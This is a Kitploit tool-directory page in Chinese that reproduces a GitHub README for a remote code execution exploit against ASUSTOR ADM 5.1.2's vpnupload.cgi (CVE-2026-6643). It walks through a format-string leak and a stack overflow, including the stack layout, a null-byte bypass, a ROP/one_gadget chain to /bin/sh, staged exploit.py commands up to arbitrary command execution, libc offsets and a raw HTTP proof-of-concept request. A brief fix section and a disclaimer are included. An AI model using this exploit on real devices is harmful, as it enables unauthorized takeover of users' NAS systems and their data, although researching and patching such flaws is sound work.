Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi 格式化字符串与栈缓冲区溢出远程代码执行(RCE)(CVE-2026-6643) | Kitploit
工具/GitHubGitHub/mlgzackfly/cve-2026-6643
漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用渗透测试Payload 开发二进制利用
GitHubmlgzackfly/cve-2026-6643

CVE-2026-6643

ASUSTOR ADM 5.1.2 vpnupload.cgi 格式化字符串与栈缓冲区溢出远程代码执行(RCE)(CVE-2026-6643)

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2026-6643 — ASUSTOR ADM 5.1.2 远程代码执行(RCE)

vpnupload.cgi 中的格式字符串(CWE-134)+ 栈缓冲区溢出(CWE-121)

漏洞概要

字段值
产品ASUSTOR ADM(ASUSTOR Data Master)
受影响版本ADM 5.1.2.REO1(X64_G3,2026-02-25)
组件/portal/apis/settings/vpnupload.cgi — upload_wireguard 操作
漏洞类型CWE-134 格式字符串 / CWE-121 栈缓冲区溢出
严重性高
是否需要认证是(有效的 Revive_Session Cookie)
发现日期2026-03-14

漏洞详情

漏洞 A — 格式字符串(CWE-134)

upload_wireguard 处理器解析 WireGuard 配置文件,将各字段组装成 JSON 对象,然后将结果直接作为格式字符串参数传给 printf():

root@kitploit:~
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2);    // user-controlled format string

攻击者可以在任意 WireGuard 配置字段中嵌入 printf 格式说明符:

  • %x / %p — 读取栈内存(信息泄露)
  • %n — 写入任意内存(通过 GOT 覆写实现代码执行)

漏洞 B — 栈缓冲区溢出(CWE-121)

同一处理器使用无边界限制的 sscanf("%s") 将配置值复制到 300 字节的栈缓冲区中,而 fgets 每行最多接受 32,768 字节:

root@kitploit:~
__isoc23_sscanf(__s, "PrivateKey = %s",           local_ac4);   // 300B
__isoc23_sscanf(__s, "Endpoint = %s",             local_164);   // 300B
// 8 fields total; only DNS has a length limit

输入超过 300 字节会溢出到相邻缓冲区。达到 4,000 字节时,保存的 RIP 被破坏,导致 SIGSEGV。

二进制缓解措施

漏洞利用链

root@kitploit:~
Step 1  Format string %x   →  Leak stack memory, recover libc base
Step 2  Endpoint overflow   →  Overwrite saved RIP with one-gadget / system()
Step 3  execve("/bin/sh")   →  Shell as the web server user

为什么 Endpoint 是最佳溢出目标

local_164(Endpoint 缓冲区)位于 rbp-0x164,是八个缓冲区中距离保存的返回地址最近的一个:

root@kitploit:~
Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   300B
  local_998  Address              rbp-0x998   300B
  local_86c  PublicKey            rbp-0x86c   300B
  local_740  ListenPort           rbp-0x740   300B
  local_4e8  PresharedKey         rbp-0x4e8   300B
  local_3bc  AllowedIPs           rbp-0x3bc   300B
  local_290  PersistentKeepalive  rbp-0x290   300B
  local_164  Endpoint             rbp-0x164   300B  ← target
  saved RBP                       rbp+0x000
  saved RIP                       rbp+0x008   ← 0x164 + 8 = 364 bytes away

空字节绕过

sscanf("%s") 在遇到空字节时停止复制。libc 地址(0x7f...)在小端序下以两个空字节结尾。不过,任何保存的 RIP 的高两位字节已经是 0x0000,因此即使 sscanf 提前终止,写入结果仍然正确:

root@kitploit:~
one_gadget address 0x00007f1234567890 (little-endian):
  \x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
                                ^--- sscanf stops here
                                     but these bytes were already 0x00 → correct

链中所有中间的 ROP gadget 也必须来自 libc(0x7f... 范围),以避免内嵌空字节。只有链中的最后一个值可以以空字节结尾。

环境要求

root@kitploit:~
uv add requests

使用方法

步骤 1 — 检测格式字符串参数偏移

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage offset

示例输出:

root@kitploit:~
[*] Detecting format string argument offset...
[+] Offset: 8  (echo: AAAA.41414141...)

步骤 2 — 泄露 libc 基址

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8

示例输出:

root@kitploit:~
[+] Stack dump (args 8..47):
    [  8]  0x0000000000000000
    [  9]  0x00007f8b2c3d4e5f  ← libc candidate
    ...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
    Subtract the known offset of whichever symbol this is:
    libc_base = 0x7f8b2c3d4e5f - <symbol_offset>

识别符号并计算 libc 基址:

root@kitploit:~
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f

步骤 3 — RCE

root@kitploit:~
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000

# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000

步骤 4 — 运行命令(GOT 覆写后)

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'

获取 libc 偏移

从固件镜像中提取 libc.so.6,然后运行:

root@kitploit:~
# system() offset
readelf -s libc.so.6 | grep -w system

# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'

# one_gadget offsets
one_gadget libc.so.6    # gem install one_gadget

更新 exploit.py 中的常量:

root@kitploit:~
LIBC_SYSTEM      = 0x055410
LIBC_BINSH       = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]

概念验证

格式字符串泄露

root@kitploit:~
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"

dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"

[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--

注意: 需要两个 multipart 部分。解析器使用边界计数器;sscanf 解析仅在第二个部分时激活。

响应(clientprivatekey 字段):

root@kitploit:~
AAAA_feebd19f_0000012b_0000007d_00000002

栈缓冲区溢出(崩溃)

将 PrivateKey 设置为 4,000 字节 → 触发 SIGSEGV(退出码 139)。

修复方案

漏洞修复方法
格式字符串将 printf(pcVar2) 替换为 printf("%s", pcVar2) 或 fputs(pcVar2, stdout)
缓冲区溢出为所有 sscanf 格式字符串添加长度限制(例如 300 字节缓冲区使用 %299s)

测试环境

  • 固件:X64_G3_5.1.2.REO1.img — 从镜像中提取 vpnupload.cgi
  • 平台:x86-64 Linux,使用固件自带的 ld-linux 和共享库
  • 认证绕过:在偏移 0x1224 处打单字节补丁 je → jmp(仅限本地测试)

参考资料

  • 研究文章: https://blog.mlgzackfly.tw/cve-2026-6643/

免责声明

此漏洞利用程序仅供安全研究和授权测试使用。未经明确许可,请勿将其用于任何系统。

下载工具
保护机制状态影响
FORTIFY_SOURCE已禁用printf(而非 __printf_chk)— %n 写入生效
Stack Canary已禁用无需泄露 canary
PIE已禁用GOT 和 gadget 地址均为静态
RELRO部分GOT 可写